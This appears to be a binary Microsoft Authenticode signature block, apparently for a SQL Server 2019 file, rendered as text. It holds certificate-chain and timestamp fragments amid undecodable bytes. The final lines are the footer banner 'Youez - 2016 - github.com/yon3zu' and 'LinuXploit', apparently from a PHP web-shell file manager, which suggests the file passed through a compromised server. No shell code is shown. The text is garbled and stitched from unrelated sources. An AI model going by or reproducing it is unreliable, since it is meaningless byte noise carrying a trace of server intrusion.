����\D6�鴭w��yQM�.tq[m�ξ{��.���mb�W�N P��z@�W��X�����x���;�⾏
ȍH��S�O����jՀ���/��*$"p����x�.
��p�N��k
r���9�g-�Q�b\?�� ?�2��1Jv1=+r��p=��
��
a��׸�N��5+^���}B{�Sr!�0ʻxe\[
����<�fX�-/���QV�p�l�9L�y��zb))4wb�=m���,��C���}�㤨t5�N�q#&v<R�qZFC����MgȟB��y!��0f�B^Ȟ"!�C�+��H�,��2�L&*H$_Z�V�ޙ��:o��'t�v!����'T��j=��va�n����G�o��2l���QȌ#�f���d=-�Y���!嵰�c�xT�A.P����x����uْ�u"/2�n�[�%����!��Oɚ�I�eo�}�i��n꧗�1)��[\�M��/�?.Uk���1�)
0�)	0��0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3�|��`����0	+���0	*�H��
	1
+�70
+�710
+�70#	*�H��
	1�
l�w�fE`��e���:0N
+�71@0>� �SQL Server 2019��http://www.microsoft.com0
	*�H��
�5
�M5	%l�Tij��u[I���}J���U?�2Y��E��
�y�a��e*�<��Z<
Ě@��lEB���1/+�x[z��7��yۉ0��'���7�g��CU�!���=��hJ�*�S]��~�3`8�sG��]0s�A�e��yo��Z)�q�8��$�F�نA7B����Mm��#n���{r�v0r�:ZD�<Ij9d�]����y��.�%�?xJ����7�x����u2M�DV���\n��&�0�$	*�H��
	1�0�0��0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA3'��ߨ��Y'0	+�]0	*�H��
	1	*�H��
0	*�H��
	1
190924204313Z0#	*�H��
	1�p'�w���8��0�ꪯ �0
	*�H��
�N�q��5����|�\c,�ol��?"e������8*c�?��~e�dוD��Q�稑�0LT��5:)���7����LBRZ1��B�2�\�U�I���H��6����2�4|��I��l��j^P��­�.o����o>(�H6�q3��E&3;cѕ�k'�0�KiN&J�I�?o�]��W�gZ��S��oP��q�l�w�6JGY/���ޱ������6�L�Q�k
o�Ċ�IYW�A��n$��tP_�0�$t
+�71�$d0�$`	*�H��
��$Q0�$M10
	`�He0\
+�7�N0L0
+�70	���010
	`�He {X����+ӏ���t��>#/@��଻�X�%���
�0�0��3R�@�PV�u�R0
	*�H��
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
190502213746Z
200502213746Z0t10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Corporation0�"0
	*�H��
�0�
���������t�����ǔߖ�6�+�xL���5���oK��w�U��buAN��[�V7V�p�Cn�3(A6��~��/�k����>��\�6��ɳ����mJ�
�X�%y�D�����*��Or�}Y�Gڗ}tP����M�4dc�睘�*�!�U��}�W����P��e���.����lA ��+4�Ih��z%�x�tr�
����������c� �����i��Zai^���76q�3ހ����0�~0U%0
+�7L+0U��[�e�'f��5kE�0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
230012+4541360U#0�Hnd�Pӂ�77"�m��u�0TUM0K0I�G�E�Chttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0�Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U�00
	*�H��
���D懾��,V�(�-����6@��m�z� 65�W��Q`[�F�y8��t�ھ$�&��C��=�d�R�m���(ߜ����S�]��!��h2]g����"���S��E��v���5@��7�8��t�=0|3e�?�O��%�vS�Y�������ޭ��b�����+O�yDT
�ͅC�8xQ#�+7&�T��",ۮ8��P���h�(�T@�`���T�l������T����G6~�ܷ�f��D�k�IB���	��m������r����aݽ��G>ƚ읶��2>�Ҁ\�����]��r!���K��Q!��(�V�&sLDt�>��QZ�M����W5X��)l�}F�G�M3�s4��O��8v�vT���:�e:����*Ɲ�N�
���hP���z?别2��fwǴ��#cU�b���ӧx�\Ȇ޽�e,��Ul*!����43=+�
�m����
 ��ސ��n���Iy/钒>
�0�z0�b�
a��0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110�"0
	*�H��
�0�
���r.��n��M4��X!�B*k�ZP��8I���7k���8™��9�1BӉ
yd�~�`$l��I��h^�ߛS�
,ï٩+�z	�זY�`�fv�2R&/�PϳD�]��.u�h��m�:\��F��8d�nd5x��c-�@����
�\y�I)�
��w��=��+ZMV(�zr�:�I^���C���{�{��>��]�O��/Y�;-�3Xŷ>�2ӳ=����8~ҝ�,�NV�!5%�9ndS���#������_��R������!t%_(��'(8%�9J6�|���#��f�aj�(I�_��%]�!K>RĵW?$��z[/�#�p]QFw��Ἤ�_����UK�9��#I��D|E��rz�r�$߿F����Wۃ��MI0�����[���ݰf��{���K�I)�(��}g��bx_�/��W�\�w((��m�(�,�@7O��D��	L�ԥC/t��n�x X,]`��>O3�ڰ�ޞN�F�l���ֈ����0��0	+�70UHnd�Pӂ�77"�m��u�0	+�7
SubCA0U�0U�0�0U#0�r-:1�C�N���1�#�40ZUS0Q0O�M�K�Ihttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0�Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0��U ��0��0��	+�7.0��0?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*�H��
�g򆥘�Ty.��tg"���c��B�}�y��e_.,>��r�m���?�
�;�G���i�c�"5��]e��}�FPU��|�K�<B�Rа�k�>.)��=�Եw�9��d�D=xz#�}��t����&F*Š�����h�h.��*?*kXIc	inZ�����F+�;н5�n%��'������(��M=����2���-�[��I9
�
�ƭ�����QEX82q'��'��,: i��Y�hno��t�@�*(>�?Mf��M��o}E�v�@*e��]Rb��c6��������'�ͥ���]cA�[��>w��u�aa������A�(��e/��\��֡F�Y�	KH���)ű��?Ew5�Ң��zz"�H���G#�����k�K���ux��7�yK�ֳ#hu������i;��0�L���umc�=ѝVNO��W"�x2!z�A
�?��̤]����WqVNHE�Bɛv[
�Hk�y���mmj�Rs
zP�1�N0�J0��0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113R�@�PV�u�R0
	`�He���0
*�H��
	10	*�H��
	1
+�70
+�710
+�70/	*�H��
	1" q��ֆ2Z�P
��dz}܌���@
�1�KsB�0N
+�71@0>� �SQL Server 2019��http://www.microsoft.com0
	*�H��
���:��1�0HG�5\^���~�����c�������2n_��[i�e��b�U��O@����r
Ҏ��k���jO�o�.av&[n���̎��[�4�'Z��13Zg��p��(�͇9��
���=�l�ڐ�24����8���)Cs�w�[�;lb>CD�
���c9�0����񐊠G��`ih�b�����W���[�'2��=t�$g�w!�u)��}���x>��u��c�����/��!�R롂�0��
+�71��0��	*�H��
���0��10
	`�He0�W*�H��
	��F�B0�>
+�Y
010
	`�He r���ib�!T�
�!��U�M/�5�%�|��j�>]��"�j20190924204314.75Z0��Ԥ��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1)0'U Microsoft Operations Puerto Rico1&0$UThales TSS ESN:B1B7-F67F-FEC21%0#UMicrosoft Time-Stamp Service��"0��0�ݠ3�N+x�*'�0
	*�H��
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
190906204117Z
201204204117Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1)0'U Microsoft Operations Puerto Rico1&0$UThales TSS ESN:B1B7-F67F-FEC21%0#UMicrosoft Time-Stamp Service0�"0
	*�H��
�0�
���Wޮ�P>��}
�ż�[v;,�%P�X��}m���@��k%��]�u�ο�%{�GR;�k�=rr=���9m
�q�N�`�܁Q���.<|�G[��;8�
���u	�gB�Mֱ�
�v�q��d [�~k�}��cJ��v$�i�=R�2D�qOX����v���K�[��%������{�qJX��]e��0^Q��ނ/O��#�{�6.1�R�z�Q�W+u�
BS�'C����,'g U�v�Z�6$K��0�0U�6-������e&�<��oZ0U#0��c:\�1��C{|F�3hZ�mU0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U�00U%0
+0
	*�H��
�|5��技e�!Hl�ًښ�U��q�S�L�3܂�*�N]�F������	]]q^|}<�7m�Kr�/�WWf�4r<�b�&�,qK�8��h�p��
��fY��Cz�`V�}[��.%k{`�|��-�(��S���y���Z�)�?&�l�O�tD<+㟆�*[X!f5
g�I��=��k�v�"	��m��SH(�ƈ�����z��%�������2t�4�耛A��v��@n�;K=�fAIm�0�q0�Y�
a	�*0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100�"0
	*�H��
�0�
��
�w�: ����i�ktTե
����|hK,_���a�v�>f+[�S'1A��	�|a0Y�0D�`��TC�M�8�Bݓ��s0W&��E
��G�Ϳ$`2X`F�XG�2�tag�_�T�ϓL��Ħ]�an(������a�F�'$gr!��Kd�Pb�]�w=�Wu���BM@Q��>g�f��D~��K�n�ʱ��z*
1��N���5�x���<�/D����d��� 	�x����D]^�O"M���0��0	+�70U�c:\�1��C{|F�3hZ�mU0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0��U ���0��0��	+�7.0��0=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*�H��
��Q
���?�q=���!o���1����Wm0���f�j���x�Ǩ�%��kTW+Q�D��S���`�v�@@A��\�\�^5�$VKt�Bȯ���7}Z?�yJ�R�8�/y�e٩�k����zoK0D$"<�����Y)����p�2J'�U�/���3�b_��W@��Ιf���jb��J�&�9�Jqc�{!mÜ��<�}�j�x�m���8ؔ�ƥ
������B�����"8 �%�d��~cY%z.9Wv�q����a�˚�G����ͧ��}���;q	�]t�"aڰPo�����1��:�eGx�H���r~akow��˧	�9����؂�r�����*T9�[��
U�z�s;�-��3.)��/T'!�ȬN�(���ۖ��B���AM�*��f0ӻt2K�c{���/�!�Y���D<�Pqס��U�i�W���0����M�
�]O�8/��X.�
�P5��	'ճ~5��6��_��t�I���0��0����Ԥ��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1)0'U Microsoft Operations Puerto Rico1&0$UThales TSS ESN:B1B7-F67F-FEC21%0#UMicrosoft Time-Stamp Service�%
0	+k\:6x:��dIFU�V�ڨlڳ���0�ۤ��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1)0'U Microsoft Operations Puerto Rico1'0%UnCipher NTS ESN:4DE9-0C5E-3E091+0)U"Microsoft Time Source Master Clock0
	*�H��
�4�10"20190925005617Z20190926005617Z0w0=
+�Y
1/0-0
�4�10
r�0�0
�6�06
+�Y
1(0&0
+�Y
�
0�`�
0� 0
	*�H��
�aK��U���,e����\�0**��r\վ���r��خ��Ϲ�*:Y6m7��Nv�:T5�����LAWI����_�*�k�(��2������@҆�E^�=4�(���9���?o����u�ȇ�|`�s�9�o����H�E�����Zm2/	���J�?��X�Z�
��c�����mC��E
�=g���r��L`aƪ,]�O����2�T�ѣ�5hv�W�f�R]�WP���S��Z�9�I��1��0��0��0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103�N+x�*'�0
	`�He��20	*�H��
	1
*�H��
	0/	*�H��
	1" ٓ����d�d�5�\��RK�eT3gkj =�0��*�H��
	1��0��0��0��k\:6x:��dIFU�V�ڨlڳ0��0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103�N+x�*'�0P�Z�|�\��s���90
	*�H��
�dB
X�W�]����x�<��gg��"��]��5��~��l����º���ƪ�(����M���xeྣ���wlp-��d���̸T���gR�k��-{��;-neNp�S�w�5c��k�k�2`�/-0 ��_ �>>�A���<���+?��z
&
�!��U�F��
Ue�>'�J ����P�-�i�[�=��.���	<0`���G�(
h�XX/pH�������2:�s��ҵ���H�� �܎

Youez - 2016 - github.com/yon3zu
LinuXploit